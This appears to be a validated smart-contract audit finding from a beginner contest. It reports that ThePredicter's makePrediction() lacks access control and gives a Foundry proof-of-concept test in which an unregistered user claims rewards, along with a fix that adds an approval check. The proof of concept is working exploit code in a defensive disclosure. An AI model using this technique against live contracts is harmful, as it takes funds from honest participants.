Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Users can do predictions and get rewards without paying for registration

Summary

There is no restrictions for users to make predictions without paying entrance fee and without approval from the organizer. This is in detriment for honest players which has paid entrance fee which then can be distributed in rewards for the dishonest users.

Vulnerability Details

makePrediction() function does not have any access control thus allowing everyone to make a prediction for upcoming match and get rewards in the end of the tournament.

function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ThePredicterPocTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public friend = makeAddr("friend");
address public stranger = makeAddr("stranger");
uint256 constant ENTRANCE_FEE = 0.04 ether;
uint256 constant PREDICTION_FEE = 0.0001 ether;
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), ENTRANCE_FEE, PREDICTION_FEE);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.deal(friend, ENTRANCE_FEE);
vm.deal(stranger, ENTRANCE_FEE * 2);
}
function testNonRegisteredUserPredictions() public {
vm.prank(friend);
thePredicter.register{value: ENTRANCE_FEE}();
uint256 balanceBeforePredictions = stranger.balance;
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Draw);
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
scoreBoard.setResult(2, ScoreBoard.Result.Draw);
scoreBoard.setResult(3, ScoreBoard.Result.Draw);
scoreBoard.setResult(4, ScoreBoard.Result.Draw);
scoreBoard.setResult(5, ScoreBoard.Result.Draw);
scoreBoard.setResult(6, ScoreBoard.Result.Draw);
scoreBoard.setResult(7, ScoreBoard.Result.Draw);
scoreBoard.setResult(8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.prank(stranger);
thePredicter.withdraw();
uint256 balanceAfterPredictions = stranger.balance;
console.log(balanceAfterPredictions);
vm.assertGt(balanceAfterPredictions, balanceBeforePredictions);
}
}

Impact

Dishonest users will take part of the pot created by entrance fees, which will have negative impact on honest users.

Tools Used

Manual review.

Recommendations

Consider adding a check if the user making a prediction is approved by the organizer.

function makePrediction(uint256 matchNumber, ScoreBoard.Result prediction) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
+ if (playersStatus[msg.sender] != Status.Approved) {
+ revert("Not approved users cannot make predictions");
+ }
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.